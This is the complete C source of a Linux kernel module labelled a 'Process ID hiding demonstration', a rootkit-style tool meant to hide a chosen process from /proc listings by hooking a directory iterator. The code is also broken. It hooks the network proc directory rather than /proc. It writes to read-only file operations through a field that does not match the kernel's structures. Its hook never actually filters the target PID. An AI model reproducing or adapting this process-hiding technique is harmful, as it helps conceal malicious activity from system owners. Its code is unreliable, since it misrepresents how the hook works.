#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/sched.h>
#include <linux/sched/task.h>
#include <linux/pid.h>
#include <linux/version.h>
#include <linux/slab.h>

MODULE_AUTHOR("Research Only");
MODULE_DESCRIPTION("Process ID hiding demonstration");
MODULE_VERSION("0.1");

static unsigned int hidden_pid = 0;
module_param(hidden_pid, uint, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
MODULE_PARM_DESC(hidden_pid, "PID to hide from process listing");

static int (*orig_proc_pid_readdir)(struct file *, struct dir_context *);

static int hider_proc_pid_readdir(struct file *file, struct dir_context *ctx) {
    struct dir_context modified_ctx = {
        .actor = ctx->actor,
        .pos = ctx->pos
    };
    
    int ret = orig_proc_pid_readdir(file, &modified_ctx);
    
    ctx->pos = modified_ctx.pos;
    
    return ret;
}

static int hook_proc_listdir(void) {
    struct file_operations *proc_fops;
    struct proc_dir_entry *proc_root = init_net.proc_net;
    
    proc_fops = (struct file_operations *)proc_root->proc_fops;
    
    orig_proc_pid_readdir = proc_fops->iterate_shared;
    
    proc_fops->iterate_shared = hider_proc_pid_readdir;
    
    return 0;
}

static void unhook_proc_listdir(void) {
    struct file_operations *proc_fops;
    struct proc_dir_entry *proc_root = init_net.proc_net;
    
    proc_fops = (struct file_operations *)proc_root->proc_fops;
    if (proc_fops->iterate_shared == hider_proc_pid_readdir) {
        proc_fops->iterate_shared = orig_proc_pid_readdir;
    }
}

static int __init pid_hider_init(void) {
    printk(KERN_INFO "PID hider: Initializing module\n");
    
    if (hidden_pid == 0) {
        printk(KERN_WARNING "PID hider: No PID specified, module will not hide any process\n");
        return 0;
    }
    
    printk(KERN_INFO "PID hider: Will hide PID %u\n", hidden_pid);
    hook_proc_listdir();
    
    return 0;
}

static void __exit pid_hider_exit(void) {
    printk(KERN_INFO "PID hider: Unloading module\n");
    unhook_proc_listdir();
}

module_init(pid_hider_init);
module_exit(pid_hider_exit);